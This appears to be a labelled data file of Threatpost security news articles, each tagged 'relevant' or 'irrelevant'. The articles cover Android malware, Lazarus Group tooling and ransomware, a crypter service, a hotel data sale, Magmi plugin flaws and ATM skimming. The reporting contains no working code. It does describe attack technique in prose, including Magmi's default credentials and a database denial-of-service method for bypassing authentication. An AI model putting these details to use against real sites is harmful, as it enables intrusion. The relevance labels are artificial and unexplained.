ISS officials and instead to exercise patience and give the company time “to find out as much as it can, with as much forensic precision as possible, before expecting it to reveal what it knows,” he wrote.",irrelevant
"Joker Android Malware Dupes Its Way Back Onto Google Play A new variant of the Joker malware has hoodwinked its way onto the Google Play marketplace yet again, in 11 Android apps that were recently removed. A new variant of the infamous Joker malware has once again made it onto Google Play, with Google removing 11 malicious Android applications from its official app marketplace, researchers disclosed Thursday. Malicious apps spreading the Joker have continued to skirt Google Play’s protections since 2019, because the malware’s author kept making small changes to its code. However, researchers say that Joker is now raising the bar, using a tactic – one that’s well known but not yet been used by Joker before now – to hide malicious code inside legitimate applications, allowing it to get through Google Play’s app vetting process. “Joker adapted,” said Aviran Hazum, manager of Mobile Research with Check Point Research, in a Thursday analysis. “The Joker malware is tricky to detect, despite Google’s investment in adding Play Store protections. Although Google removed the malicious apps from the Play Store, we can fully expect Joker to adapt again. Everyone should take the time to understand what Joker is and how it hurts everyday people.” Joker is a billing fraud family of malware that first emerged in 2017, but started appearing in earnest in 2019. It advertises itself as a legitimate app, but once installed, it infects victims post-download to steal their SMS messages, contact lists and device information; as well as also stealthily signing them up for premium service subscriptions that could quietly drain their wallets. joker google play malware Credit: Check Point Research The most recent variant of the malware uses a tactic where it hides malicious code inside what’s called the “Android Manifest” file of a legitimate application. Every application has an Android Manifest file in its root directory, which provides essential information about an app, such as its name, icon and permissions, to the Android system. Joker has been building its payload before inserting it into the “Android Manifest” file via a dex file, hidden in the form of Base64 encoded strings. This payload is hidden during Google Play’s evaluation of the app, making it easier to skirt by the app vetting process. It’s not until after the app has been approved in the evaluation process that the campaign starts to operate, with the malicious payload decoded and loaded onto the compromised device. It’s important to note that this trick is well-known to developers of malware for Windows PCs, said researchers. “This way, the malware does not need to access a [command-and-control] server, which is a computer controlled by a cybercriminal used to send commands to systems compromised by malware, to download the payload, the portion of the malware which performs the malicious action,” said researchers. Researchers also detected an “in-between” variant, that utilized the technique of hiding the .dex file as Base64 strings in the app. However, “instead of adding the strings to the Manifest file, the strings were located inside an internal class of the main application,” said researchers. “In this case, all that was needed for the malicious code to run was to read the strings, decode them from Base64, and load it with reflection.” The apps detected that contained Joker malware ranged from memory training games to flower-themed phone wallpaper (see below for the package names). Joker malware android google play The Joker malware continues to hoodwink its way onto Google Play via legitimate applications. In January, researchers revealed that Google removed 17,000 Android apps so far from the Play store that have been conduits for the Joker malware (a.k.a. Bread). At the time, researchers said that Joker’s operators have “at some point used just about every cloaking and obfuscation technique under the sun in an attempt to go undetected.” In 2019, researchers also spotted 24 malicious apps – with a total of 472,000 installs – on the official Android app marketplace that were spreading the Joker malware. “Our latest findings indicate that Google Play Store protections are not enough. We were able to detect numerous cases of Joker uploads on a weekly basis to Google Play, all of which were downloaded by unsuspecting users,” said Check Point researchers. Check Point researchers disclosed their findings to Google and all reported applications were removed from the Play Store by April 30, they said. Threatpost has reached out to Google for further comment on this incident and on its Google Play vetting process.",relevant
"Lazarus Group Surfaces with Advanced Malware Framework The North Korean APT has been using the framework, called MATA, for a number of purposes, from spying to financial gain. The North Korea-linked APT known as Lazarus Group has debuted an advanced, multipurpose malware framework, called MATA, to target Windows, Linux and macOS operating systems. Kaspersky researchers uncovered a series of attacks utilizing MATA (so-called because the malware authors themselves call their infrastructure MataNet), involving the infiltration of corporate entities around the world in a quest to steal customer databases and distribute ransomware. The framework consists of several components, such as a loader, an orchestrator (which manages and coordinates the processes once a device is infected) and plugins. And according to artifacts in the code, Lazarus has been using it since spring 2018. “Malicious toolsets used to target multiple platforms are a rare breed, as they require significant investment from the developer,” explained Kaspersky analysts, in a report issued on Wednesday. “They are often deployed for long-term use, which results in increased profit for the actor through numerous attacks spread over time. In the cases discovered by Kaspersky, the MATA framework was able to target three platforms – Windows, Linux and macOS – indicating that the attackers planned to use it for multiple purposes.” As far as victimology, known organizations hit by the MATA framework have been located in Germany, India, Japan, Korea, Turkey and Poland — indicating that the attacks cast a wide net. Moreover, those victims are in various sectors, and include a software development company, an e-commerce company and an internet service provider. “From one victim, we identified one of their intentions,” according to Kaspersky. “After deploying MATA malware and its plugins, the actor attempted to find the victim’s databases and execute several database queries to acquire customer lists. We’re not sure if they completed the exfiltration of the customer database, but it’s certain that customer databases from victims are one of their interests. In addition, MATA was used to distribute VHD ransomware to one victim.” Windows Version The Windows version of MATA consists of several components, according to the firm: Most notably, a loader malware, which is used to load an encrypted next-stage payload; and the payload itself, which is likely the orchestrator malware. “We’re not sure that the loaded payload is the orchestrator malware, but almost all victims have the loader and orchestrator on the same machine,” the researchers explained. The orchestrator loads encrypted configuration data from a registry key and decrypts it with the AES algorithm. It’s purpose is to load various plugins – up to 15 of them. The perform various functions, including sending the command-and-control (C2) information about the infected host, such as victim ID, internal version number, Windows version, computer name, user name, IP address and MAC address; creating a HTTP proxy server; executing code; manipulating files; and more. The parent process that executes the loader malware is the WMI Provider Host process, which usually means the actor has executed malware from a remote host to move laterally, according to Kaspersky – meaning that additional hosts in the same network could also be infected. Non-Windows versions of MATA A Linux version of the MATA orchestrator was seen in December, uncovered by Netlab and dubbed DACLs. It was characterized as a remote access trojan (RAT), bundled together with a set of plugins. Kaspersky has linked DACLs to MATA, with the Linux MATA version including both a Windows and a Linux orchestrator, a Linux tool for listing folders, scripts for exploiting Atlassian Confluence Server (CVE-2019-3396) and a legitimate socat tool. Note that the Linux version of MATA has a logsend plugin. This plugin implements an interesting new feature, a “scan” command that tries to establish a TCP connection on ports 8291 (used for administration of MikroTik RouterOS devices) and 8292 (“Bloomberg Professional” software) and random IP addresses excluding addresses belonging to private networks. Any successful connection is logged and sent to the C2. These logs might be used by attackers for target selection. The macOS version of the orchestrator meanwhile was found in April, having been ported from the Linux version. It was found hiding in a trojanized macOS application based on an open-source two-factor authentication application named MinaOTP. Its plugin list is almost identical to the Linux version, except that it also contains a plugin named “plugin_socks,” responsible for configuring proxy servers. Links to Lazarus Lazarus Group, a.k.a. Hidden Cobra or APT 38, has been around since 2009. The APT has been linked to the highly destructive WannaCry attack that caused millions of dollars of economic damage in 2017, the SWIFT banking attacks, as well as the high-profile attack against Sony Pictures Entertainment in 2014. It even has spawned a spinoff group, the entire mission of which is to steal money from banks to fund Lazarus’ cybercriminal operations and the North Korean regime as a whole. Lazarus is also constantly evolving: In December, it was seen hooking up with Trickbot operators, which run a powerful trojan that targets U.S. banks and others. In May, it was seen adding macOS spyware to a two-factor authentication app; and earlier in July, it added Magecart card-skimming code to its toolbag. Kaspersky has linked the MATA framework to the Lazarus APT group through two unique file names found in the orchestrators: c_2910.cls and k_3872.cls, which have only previously been seen in several variants of the Manuscrypt malware, a known Lazarus tool. Previous research by Netlab also determined the connection between the Linux orchestrator/DACLS RAT and the APT. “Moreover, MATA uses global configuration data including a randomly generated session ID, date-based version information, a sleep interval and multiple C2s and C2 server addresses,” added the researchers. “We’ve seen that one of the Manuscrypt variants (ab09f6a249ca88d1a036eee7a02cdd16) shares a similar configuration structure with the MATA framework. This old Manuscrypt variant is an active backdoor that has similar configuration data such as session ID, sleep interval, number of C2 addresses, infected date, and C2 addresses. They are not identical, but they have a similar structure.”",relevant
"Lazarus Group Brings APT Tactics to Ransomware A new ransomware, VHD, was seen being delivered by the nation-state group’s multiplatform malware platform, MATA. Targeted ransomware attacks are on the rise, usually perpetrated by financially motivated threat gangs, which often work in concert together. However, researchers said that a recent strain of ransomware, called VHD, can be linked to an unusual source: The Lazarus Group APT. According to researchers from Kaspersky, the VHD ransomware has only been deployed in a handful of instances, with a limited number of samples showing up in the firm’s telemetry. There are also few public references. This “doesn’t fit the usual modus operandi of known big-game hunting groups,” the researchers explained, in a blog post issued on Tuesday. “This indicated that this ransomware family might not be traded widely on dark market forums, as would usually be the case.” They added, “The data we have at our disposal tends to indicate that the VHD ransomware is not a commercial off-the-shelf product.” Another indication that VHD is different was apparent from the start: An initial VHD incident in Europe involved a worm-like propagation technique reminiscent of APT groups. “A spreading utility…contained a list of administrative credentials and IP addresses specific to the victim, and leveraged them to brute-force the SMB service on every discovered machine,” according to the post. “Whenever a successful connection was made, a network share was mounted, and the VHD ransomware was copied and executed through WMI calls. This stood out to us as an uncharacteristic technique for cybercrime groups; instead, it reminded us of the APT campaigns Sony SPE, Shamoon and OlympicDestroyer, three previous wipers with worming capabilities.” All of this is a deviation from the known ransomware ecosystem, according to Kaspersky. “Criminals [usually] piggyback on widespread botnet infections (for instance, the infamous Emotet and Trickbot malware families) to spread into the network of promising victims, and license ransomware ‘products’from third-party developers,” the researchers explained. “When the attackers have a good understanding of the target’s finances and IT processes, they deploy the ransomware on all the company’s assets and enter the negotiation phase.” The VHD ransomware is written in C++ and encrypts files on all connected disks, the analysis determined. It also deletes any folder called “System Volume Information” (which are linked to Windows’ restore point feature). All of this is fairly non-descript, but VHD has two other aspects worth noting, Kaspersky researchers said. “The program also stops processes that could be locking important files, such as Microsoft Exchange and SQL Server. Files are encrypted with a combination of AES-256 in ECB mode and RSA-2048,” researchers explained. “The ransomware uses Mersenne Twister as a source of randomness, but unfortunately for the victims the RNG is reseeded every time new data is consumed. Still, this is unorthodox cryptography, as is the decision to use the ‘electronic codebook’ (ECB) mode for the AES algorithm.” VHD also implements a mechanism to resume operations if the encryption process is interrupted. For files larger than 16MB, the ransomware stores the current cryptographic materials on the hard drive, in clear text. Kaspersky pointed out that this information is not deleted securely afterwards, which implies there may be a chance to recover some of the files. A second VHD case came to light two months later, where Kaspersky was able to learn more about VHD: Specifically, regarding its infection chain. The attack spent 10 hours in the infection phase, and Kaspersky was able to determine that initial access was achieved by exploiting a vulnerable VPN gateway. “After that, the attackers obtained administrative privileges, deployed a backdoor on the compromised system and were able to take over the Active Directory server,” the researchers noted. “They then deployed the VHD ransomware to all the machines in the network. In this instance, there was no spreading utility, but the ransomware was staged through a downloader written in Python that we still believe to be in development.” Crucially for attribution however, Kaspersky researchers were able to observe a backdoor used during the incident that turned out to be a version of a multipurpose malware framework called MATA, which targets Windows, Linux and macOS operating systems. Kaspersky researchers recently uncovered MATA (a.k.a. Dacls) being used in a series of attacks involving the infiltration of corporate entities around the world in a quest to steal customer databases and distribute ransomware. The framework consists of several components, such as a loader, an orchestrator (which manages and coordinates the processes once a device is infected) and plugins. And according to artifacts in the code, Lazarus has been using it since spring 2018. “The forensics evidence gathered during the incident response process is strong enough that we feel comfortable stating with a high degree of confidence that there was only a single threat actor in the victim’s network during the time of the [second VHD] incident,” according to the post. The researchers added, “and as far as we know, the Lazarus group is the sole owner of the MATA framework. Hence, we conclude that the VHD ransomware is also owned and operated by Lazarus.” Interestingly, the researchers hypothesize that Lazarus is making a big change from its previous approach to cybercrime by mounting such an attack. North Korea-linked Lazarus, a.k.a. Hidden Cobra or APT 38, has been around since 2009. The APT has been linked to the highly destructive WannaCry attack that caused millions of dollars of economic damage in 2017, the SWIFT banking attacks, as well as the high-profile attack against Sony Pictures Entertainment in 2014. Its motivations range from statement-making to espionage to financial. “Lazarus has always existed at a special crossroads between APT and financial crime, and there have long been rumors in the threat intelligence community that the group was a client of various botnet services,” they said. “We can only speculate about the reason why they are now running solo ops: maybe they find it difficult to interact with the cybercrime underworld, or maybe they felt they could no longer afford to share their profits with third parties….Only time will tell whether they jump into hunting big game full time, or scrap it as a failed experiment.”",irrelevant
"Leaked Details of 142 Million MGM Hotel Guests Found for Sale on Dark Web Last summer’s data leak at the hotel chain appears to be far more expansive than previously thought — or the credentials could come from a hack of DataViper. Researchers have found 142 million personal details from former guests at the MGM Resorts hotels for sale on the Dark Web, evidence that a data leak from the hotel chain last summer may be far bigger in scope than previously thought. An advertisement on a hacker forum has put 142,479,937 details from “MGM Grand Hotels” guests up for sale for more than $2,900, according to a published report on ZDNet. In the ad, the hacker makes a connection between the newly advertised credentials and a previously known leak of personal details of more than 10.6 million guests who had stayed at MGM Resorts. That breach, news of which surfaced in February, was attributed to unauthorized access to a misconfigured cloud server that occurred at the hotel chain last summer. “However, what was not reported was that MGM Grand Hotels was also breached, consisting of 142 million entries,” according to the underground forum ad. MGM Resorts International is the parent company for the MGM Grand as well as some of the most iconic and well-known resorts in Las Vegas, including the Bellagio, Mandalay Bay, the Mirage and Luxor. As there is no “MGM Grand Hotels” in the chain—merely the MGM Grand and the parent company MGM Resorts — it’s not entirely clear which properties specifically contributed the 142 million credentials being sold online. However, given the number of credentials offered, it seems fairly safe to assume they are from guests at hotels across the resort chain. The latest cache of 142 million MGM details are the result of a breach of DataViper, a data leak monitoring service operated by Night Lion Security, the hacker claimed in the ad. According to an investigation from Brian Krebs, Data Viper “provides access to some 15 billion usernames, passwords and other information exposed in more than 8,000 website breaches.” Hackers claim to have posted its databases online, which include a full 2 billion records collected from other companies during past security breaches. However, ZDNet in a separate report Monday also claimed to have spoken with Vinny Troia, founder of Night Lion, who said his company never owned a copy of the full MGM database, suggesting that the 142 million credentials could not have come from that breach. It’s also unclear if the 10.6 million credentials from MGM Resorts posted to a hacking forum earlier this year is included in the database of 142 million currently up for sale, or if they are two separate data stores. The smaller database included personal information — such as full names, home addresses, phone numbers, emails and dates of birth — from celebrities, tech CEOs, reporters, government officials, and employees at some of the world’s largest tech companies. Among the famous names cited in reports of the link were Twitter CEO Jack Dorsey and pop music star Justin Bieber. The database also had details for officials from the Department of Homeland Security and the Transportation Safety Authority, according to reports. MGM Resorts already has acknowledged that there was indeed a data breach at its organization, though it did not publicize the incident nor has said how many credentials were breached. However, the company did say it notified affected clients about the breach, something that appeared to be true according to a comment made on a site called VegasMessageBoard in August 2019. A community member posted on the site and said he’d been notified that his data had been stolen at MGM Resorts a month earlier, in July. There is evidence that the breach could have affected up to 200 million MGM clients, according to Tuesday’s ZDNet report, which cited posts on Russian-speaking hacking forums promoting the sale of even more MGM credentials.",irrelevant
"Encryption Utility Firm Accused of Bundling Malware Functions in Product The increasingly prevalent GuLoader malware has been traced back to a far-reaching encryption service that attempts to pass as above-board. An Italian company that sells what it describes as a legitimate encryption utility is being used as malware packer for the cloud-delivered malicious GuLoader dropper, claim researchers. The tool, according a recent investigation, creates GuLoader samples and helps the malware avoid antivirus detection. For its part, the company claims it has taken steps to prevent bad actors from using its wares for ill. According to researchers at Check Point, the company identified as CloudEyE is looking to take a piece of the traditional packer and crypter market – a thriving arena that caters to malware authors looking for obfuscation for their wares. GuLoader is a widespread dropper that compromises targets and then delivers second-stage malware. It’s been constantly updated over the course of 2020, according to Check Point, with new binaries sporting sandbox evasion techniques, code randomization features, command-and-control (C2) URL encryption and additional payload encryption. “As a result, we can reasonably assume that behind GuLoader there is a major new service” providing various forms of encryption, according to the researchers. Further investigation uncovered just such a service, which researchers said is “created and maintained by an Italian company that pretends to be completely legitimate and aboveboard, and even has a website in Clearnet that uses the .eu domain zone,” the analysis concluded. When Threatpost reached out to CloudEyE, a spokesperson said that the company “can help [security researchers] by revoking CloudEyE licenses to the users who are abusing our product.” The person added, “CloudEyE is not connected anymore to hack forums or other hackers’ forums.” From DarkEyE to to CloudEyE to GuLoader In Check Point’s recent investigation of GuLoader, which has ramped up its activity so far this year, the firm noticed that another malware sample was being flagged at as a variant of the dropper. However, there was one crucial difference – these samples did not contain URLs for downloading a second payload. Further investigation pointed to the malware being something called DarkEyE Protector, which shows up in underground forum threads from as far back as 2014, posted by a user called “sonykuccio.” “The ads describe DarkEyE as a crypter that can be used with different malware such as stealers, keyloggers and RATs (remote access trojans), and makes them fully undetectable for antiviruses (FUD),” said the researchers. “This left us with no doubt that this software was developed to protect malware from discovery by antiviruses, as the authors didn’t forget to emphasize that they ‘don’t take any responsibility for the use’ of DarkEyE.” The DarkEyE samples have much overlap with GuLoader samples. Both are written in VisualBasic, contain a shellcode encrypted with 4-byte XOR keys, and have the same payload decryption procedure – which explains the mistaken identity within Check Point’s antimalware analysis. The ads for DarkEyE contain a website address to go to for more information: securitycode[.]eu. Fast forward to 2020, and that same address is now focused on what appears to be a related product, called CloudEyE. This is advertised as security software intended for “protecting Windows applications from cracking, tampering, debugging, disassembling, dumping,” according to the site. “But [elsewhere on the website] contains several YouTube video tutorials on how to use CloudEyE, and, as it turned out, how to abuse Google Drive and OneDrive,” according to Check Point. “[These] show how to store payloads on cloud drives…which usually perform antivirus checking and technically don’t allow the upload of malware. However, payload encryption implemented in CloudEyE helps to bypass this limitation.” And further, those videos contained the same URL pattern that’s found in GuLoader samples. “[The pattern is] a placeholder for a URL that is used in some of GuLoader samples for downloading joined files (decoy images in our previous research),” the researchers said. “Way too much coincidence for us to find it here!” The analysts, following a hunch, downloaded CloudEyE and used it to encrypt an executable file, turning it into a full-fledged binary that can unpack itself and fetch additional payloads – just like GuLoader. In the results of the emulation, Check Point found that CloudEyE produces samples that are indeed universally acknowledged as GuLoader malwar. “We decided to analyze it manually and compare with a real GuLoader sample that we saw in the wild,” the researchers said. Using a recent GuLoader sample which downloads the Formbook malware, the researchers decrypted the shellcode from both CloudEyE and GuLoader. “To make it harder for automatic analysis and probably also to prevent automatic decryption, the shellcode starts from a random stub and is prepended with a jump over this stub,” Check Point’s analysis explained. “In both samples, the same space on the stack is reserved for a structure with global variables. Variables in the structure have the same offset. Most of the code chunks differ only due to the applied randomization techniques. The useful code is the same in both samples.” Also, the URLs for downloading the payload are the same, too. “We can therefore conclude that the samples are almost identical and differ only generally due to applied code randomization techniques,” according to the analysts. Even so, the CloudEyE spokesperson said that DarkEyE Protector was never meant to be malicious — rather, it has been cracked, tampered with and abused multiple times, which is why the project was discontinued. “You can see some YouYube videos as proof,” the person said. Attribution As for who’s behind CloudEye, Check Point researchers started with the “sonykuccio” name found in the DarkEyE ads. “Sonykuccio is an old and established visitor to hacker forums,” the researchers explained. “We saw that he started selling DarkEyE in the beginning of 2011. But even before creating DarkEyE Protector, Sonykuccio was already providing services for protecting malware against anti-viruses (FUD service) and a spreading service for malware.” Running the name and associated email address through publicly available leaked email databases turned up several entries related to “Sonykuccio,” including a hit that tied the email address to the name “Sebastiano Dragna.” “Let’s now refer to the Privacy Policy section on the website securitycode.eu,” according to the report. “We see the same name! The owners of this business must sincerely believe in their own innocence if they dare to publish real names on the website.” The website indeed frames CloudEyE as having been developed by a legitimate company, and the spokesperson maintains that hacking is behind any tie to Sonykuccio: “We do not have any connection to ‘sonykuccio’ because that account has been compromised through some leaks.” Nonetheless, the obfuscated malware that Check Point said is created by CloudEyE – GuLoader, in other words – is showing up in hundreds of attacks every day in different campaigns, researchers said – most of them rolled out by unsophisticated threat actors. In fact, up to a quarter of all packed samples that Check Point detects are GuLoaders. The dropper in turn delivers “a huge number of malware types,” from many different threat actors. “CloudEyE operations may look legal, but the service provided by CloudEyE has been a common denominator in thousands of attacks over the past year,” Check Point concluded. “Code randomization, evasion techniques and payload encryption used in CloudEyE protect malware from being detected by many of the existing security products on the market. Surprisingly, such a service is provided by a legally registered Italian company that operates a publicly available website which has existed for more than four years.”",irrelevant
"Lenovo, HP, Dell Peripherals Face Unpatched Firmware Bugs ",relevant
"LokiBot Redux Attacks Massive List of Common Android Apps BlackRock, based on the Xerxes source code, can steal info not only from financial apps but also TikTok, Tinder, Instagram, Uber and many others. Researchers have discovered a new variant of the LokiBot trojan called BlackRock, that’s attacking not just financial and banking apps, but also a massive list of well-known and commonly used brand-name apps on Android devices. The apps targeted include: Amazon, eBay, Facebook, Grinder, Instagram, Netflix, PlayStation, Reddit, Skype, Snapchat, TikTok, Tinder, Tumblr, Twitter, Uber and VK, among many others, researchers said. The malware, which ThreatFabric discovered in May, is derived from the source code of the Xerxes banking malware, which itself is a variant of LokiBot, researchers said in report posted online Thursday. The threat actor behind Xerxes made the source code to that malware public in 2019, a type of event that typically sets off a chain reaction of malware variants, researchers noted. BlackRock is on one level a normal banking trojan, targeting banking and different crypto apps across various countries on at least five continents, including the United States, Japan, United Kingdom, Australia, France, Canada and Malaysia. Among its features are those included in most credential-stealing malware, including the ability to perform overlay attacks; send, spam and steal SMS messages; lock the victim in the device home screen; and steal and hide notifications. It also can act as a keylogger, logging the text content from targeted apps that’s shown on the device screen, researchers said. But while BlackRock’s banker abilities are not overly impressive, offering “a quite common set of capabilities compared to average Android banking trojans,” according to the report, it has other assets. One of the things that’s unique is that non-financial group of apps it targets; BlackRock lifts data from a rather extensive list of very common chat, dating, gaming and social-media apps. This significantly widens the playing field for the victims it can target, researchers said. Additionally, BlackRock can hide from antivirus programs, redirecting a victim to the home screen of the device if he or she tries to start or use specific antivirus software. Programs the malware can detect and deflect include: Avast, AVG, BitDefender, Eset, Symantec, TrendMicro, Kaspersky, McAfee and Avira, researchers said, as well as applications to clean Android devices, such as TotalCommander, SD Maid or Superb Cleaner. “By doing so, the trojan tries to avoid letting the victim remove it from the device and establish some form of persistency,” researchers wrote. LokiBot the Trickster When BlackRock first launches on a device, it hides its icon from the app drawer so it’s invisible to the device user. And then, in most cases, it poses as a fake Google update to ask the victim for the Accessibility Service privileges. Once this privilege is granted, BlackRock takes the liberty of giving itself additional permissions so it can fully function without having to interact any further with the victim. Upon full installation, the trojan can receive commands from the command-and-control (C2) server and perform its malicious activity, researchers said. One other unique functionality BlackRock has in comparison to other Android trojans is that it takes advantage of Android work profiles by creating and attributing itself a profile to gain admin privileges. Usually only mobile-device companies use these profiles to define a device policy controller (DPC), which allows them to control and apply policies on their mobile fleet without having complete admin rights, researchers noted. LokiBot Rides Again LokiBot is a prolific trojan that was first detected in late 2016 and became infamous for being simple and effective in its ability to covertly siphon information from compromised endpoints. As a solitary threat, the trojan has not been active for some time, ThreatFabric researchers said. However, it’s lived on through distribution in variants or various forms that can hitch a ride inside other file formats. LokiBot even surfaced during the height of the coronavirus pandemic as part of a spearphishing campaign that loaded the trojan via malicious document attachments that used the trademark of the World Health Organization as a lure. Researchers said they have seen attempts by threat actors to revive LokiBot over the past several years. However, it seems threat actors were not very successful at it until the Xerxes source code was released. That said, BlackRock’s capabilities are not as expansive as what exists in that code, according to ThreatFabric.",relevant
"Magento Sites Vulnerable to RCE Stemming From Magmi Plugin Flaws Two flaws – one of them yet to be fixed – are afflicting a third-party plugin used by Magento e-commerce websites. Researchers have disclosed two flaws that could enable remote code execution attacks on the Magento Mass Import (Magmi) plugin, an open source database client that imports data into Magento. Magmi is a Magento database client written in PHP, which is used to perform raw bulk operations on the models of an online store. A patch has only been published for one of the two flaws (CVE-2020-5777), in Magmi version 0.7.24, Sunday. At the time of disclosure, however, there was still no patch available for two second flaw (CVE-2020-5776), said researchers. Satnam Narang, staff research engineer at Tenable, told Threatpost that researchers can’t definitively say how many Magento sites are vulnerable – however, they were able to identify at least 1,500 websites indexed through search engines that use the Magmi plugin (and it’s likely there are more). “To reduce your risk in the meantime, we recommend disabling or uninstalling the plugin altogether until a patch is available, as well as refraining from active web browsing while authenticated to Magmi,” said researchers with Tenable in a Tuesday post. Researchers on Tuesday also released proof-of-concept (PoC) exploit code on GitHub for both of the flaws. The Flaws The unpatched flaw, CVE-2020-5776, is a cross-site request forgery (CSRF) vulnerability affecting Magmi up to version 0.7.24. While this flaw has a CVSSv2 score of 6.8 out of 10 (making it medium severity), vulnerability database VulDB classified it as critical. The flaw, which affects an unknown functionality of a specific file (/index.php/newsletter/subscriber/new/), exists because the GET and POST endpoints for Magmi don’t implement CSRF protection – meaning an attacker could exploit the flaw vulnerability to perform a CSRF attack. CSRF occurs when a malicious website sends a request to a web application that a victim is already authenticated against. This way an attacker can access the functionality in a target web application via the victim’s already authenticated browser. In this specific attack, threat actors could trick a Magento Administrator into clicking on a link while they are authenticated to Magmi. The attacker could then hijack the administrator’s sessions, allowing them to execute arbitrary code on the server where Magmi is hosted, researchers said. The second, now patched flaw, CVE-2020-5777, is an authentication bypass flaw in Magmi for Magento version 0.7.23 and below. This flaw also has a CVSSv2 score of 6.8 out of 10, making it medium severity, researchers told Threatpost. Magmi’s authentication process uses HTTP Basic authentication and checks the username and password against the Magento database’s admin_user table. However, if the connection to the Magento database fails, Magmi will accept default credentials, which are magmi:magmi. “As a consequence, an attacker could force the database connection to fail due to a database denial of service (DB-DoS) attack, then authenticate to Magmi using the default credentials,” said researchers. “The impact of this attack is remote code execution (RCE) on the server where Magmi is hosted.” Researchers successfully performed a Magento DB-DoS attack when the maximum number of concurrent MySQL connections was greater than the maximum number of concurrent Apache HTTP connections. “By sending a large number of concurrent connection requests that exceed the MySQL connections limit, but not the maximum Apache HTTP connection limit, attackers could temporarily block access to the Magento database and simultaneously make an authenticated request to Magmi using the default credentials,” said researchers. Disclosure Researchers said that they reached out to the developer of the Magmi plugin on June 3. After follow-up communications on June 17 and July 6, they received acknowledgement on July 6 that the identified issues were in the process of being fixed. “We have since sent requests for updates and have not received any. However, the developers released a new version of the plugin on August 30 to address one of the two vulnerabilities (CVE-2020-5777),” they said. “This release fixes a security issue due to a potential exploit on Magmi default authentication,” according to Magmi’s description of its latest version, 7.24. Threatpost has reached out to the developers of Magmi for further comment. It’s not the first time that the Magento open-source e-commerce platform has faced security issues due to third-party plugins (as well as flaws in Magento itself). An FBI flash security alert that became public in May 2020 regarding in-the-wild exploitation of CVE-2017-7391, a cross-site scripting vulnerability in Magmi that was used to target vulnerable Magento sites. In 2018, attackers used a few IP addresses to scan for vulnerable versions of Magmi.",relevant
"Malicious ‘Blur’ Photo App Campaign Discovered on Google Play Twenty-nine bad mobile apps with a combined 3.5 million downloads bombard users with out-of-context ads. A new campaign of malicious photo apps on Google Play floods Android devices with random ads instead of functioning as advertised. They also elude detection by making its icon disappear from the device home screen soon after it’s downloaded. Researchers at the White Ops Satori Threat Intelligence and Research Team discovered the Android apps — 29 in total — which they said “manifested suspiciously high volumes of ad traffic” during threat-hunting investigations, according to a recent report. The team — comprised of researchers Gabi Cirlig, Michael Gethers, Marion Habiby, Christopher Soo and Dina Haines — called the campaign “ChartreuseBlur,” in part because the majority of apps include the word “blur” in their package name. Many also claim to be photo editors that allow users to blur sections of an image, they said. There are several key characteristics that can alert users if they’ve fallen victim to downloading one of the bad apps (the apps combined have more than 3.5 million downloads, researchers said). One of the hallmarks of the app is that once it’s downloaded, it plays “hide and seek” with the device, with the icon disappearing from the home screen, forcing users to go into the Settings menu to find the app if they want to see if it’s been installed or open it. This makes it “very difficult for an average user to remove the app,” they said. Square Photo Blur has since been moved from the Google Play store, researchers added. Researchers conducted analysis on one of the apps in particular, called Square Photo Blur, finding that its behavior was consistent with all of the malicious apps. They found that once the app is downloaded, it begins bombarding the device with ads, “just appearing out of nowhere,” a phenomenon known as delivering out-of-context (OOC) ads, researchers said. Another hallmark of the apps in the campaign is that all of the developers listed for the apps have random, English-sounding names that are clearly fake, according to the report. The developer listed for Square Photo Blur on Google Play, for example, was called “Thomas Mary.” The apps in the campaign generally have a a three-stage payload evolution, researchers observed. In the first two stages, the code appears innocent, but the third phase is where they detected nefarious activity. In the first stage, the app is installed using a Qihoo packer, which in and of itself is not suspicious. It also uses a stub app, or stubs, which typically are used by developers as a placeholder for not-yet-developed code while testing of other parts of the code. This sets the app up for stage two, in which it’s used as a wrapper around another Blur app, com.appwallet.easyblur, which is visible after Square Photo Blur is unpacked. This app also does not do anything malicious; threat actors probably used it “to trick users into believing they have downloaded a legitimate app with Square Photo Blur,” researchers observed. Stage three of the app’s installation is where the app begins to get malicious, according to the report. It’s in this phase that the malicious code generates the OOC ads, and it appears in the form of packages com.bbb.*, such as com.bbb.NewIn. Code present in the app can deliver OOC ads every time a user unlocks the screen, starts charging the phone, or switches from cellular data to WiFi and vice versa, researchers said. Indeed, the Satori team discovered the code snippet responsible for the OOC ads on VirusTotal (VT), adding that VT samples appear to be slight variations of the same base code with incremental changes. This is likely so the app can avoid detection by antivirus companies, researchers said. Once fully installed, researchers clicked on the Square Photo Blur app’s launcher icon on a test device and found it’s basically a “hollow shell of an app, just enough to just pass the Play Store checks,” they said. They pointed out that reviews can be helpful in avoiding malicious apps like these: “Looking at the comments in the Reviews section for this app reveals negative sentiment against this developer. The reviews suggest the app is barely functional with many reports of OOC ads.” The Satori team included a list of the malicious apps in the report and recommended that anyone using them remove them immediately. Researchers plan to continue to monitor the situation, they said. The apps have been removed from the Google Play store, but users will need to remove any that have already been installed. The Satori team included a list of the malicious apps in their report and recommended that anyone using them remove them immediately. Researchers plan to continue to monitor the situation, they said.",relevant
"Man Sentenced in ATM Skimming Conspiracy A Romanian national has been sentenced to 5 years in prison after racking up almost $400,000 in an ATM skimming scheme. A New York state man has been sentenced to five years for an elaborate ATM skimming conspiracy that allowed him to steal at least $390,141 from victims. Bogdan Rusu, 39, of Queens, NY pleaded guilty to participating in the scheme, which used secret card-reading devices and pinhole cameras on various New Jersey, Massachusetts and New York bank locations. “Rusu and others captured payment card account information from customers as they accessed their accounts through automatic teller machines (ATMs) and then used that information to steal money from the customers’ bank accounts,” according to a Tuesday Department of Justice press release. After obtaining the customer account information, including account numbers and personal identification numbers, Rusu “and others” would then transfer the illegally obtained information to counterfeit payment cards. They then used those counterfeit cards to steal money from the accounts, according to DoJ. Rusu, a Romanian national, was part of a larger ATM skimming scheme that ultimately drained more than $868,000 from accounts. Eleven other defendants charged in this scheme have also pleaded guilty. ATM theft as an activity is nothing new – with attack vectors varying. In 2016, researchers discovered the Cobalt Group, a.k.a. Carbanak, which used phishing emails to infect the targeted banks’ networks, then pivoting to individual ATMs and planting malicious code on them. In this way, the group was able to siphon over $1 billion for the financial industry. In 2017, the FBI caught three men visiting ATMs in Wyoming, Colorado and Utah, stealing tens of thousands of dollars, with $24,000 from one machine alone. Surveillance camera footage from one attack showed the men opening the top of an ATM in order to physically deploy Ploutus.D malware. And in February 2019, two men were arrested and charged in Connecticut with using malware for jackpotting. The Department of Justice said a search of their vehicle revealed “tools and electronic devices consistent with items needed to compromise an ATM machine to dispense its cash content.”",irrelevant
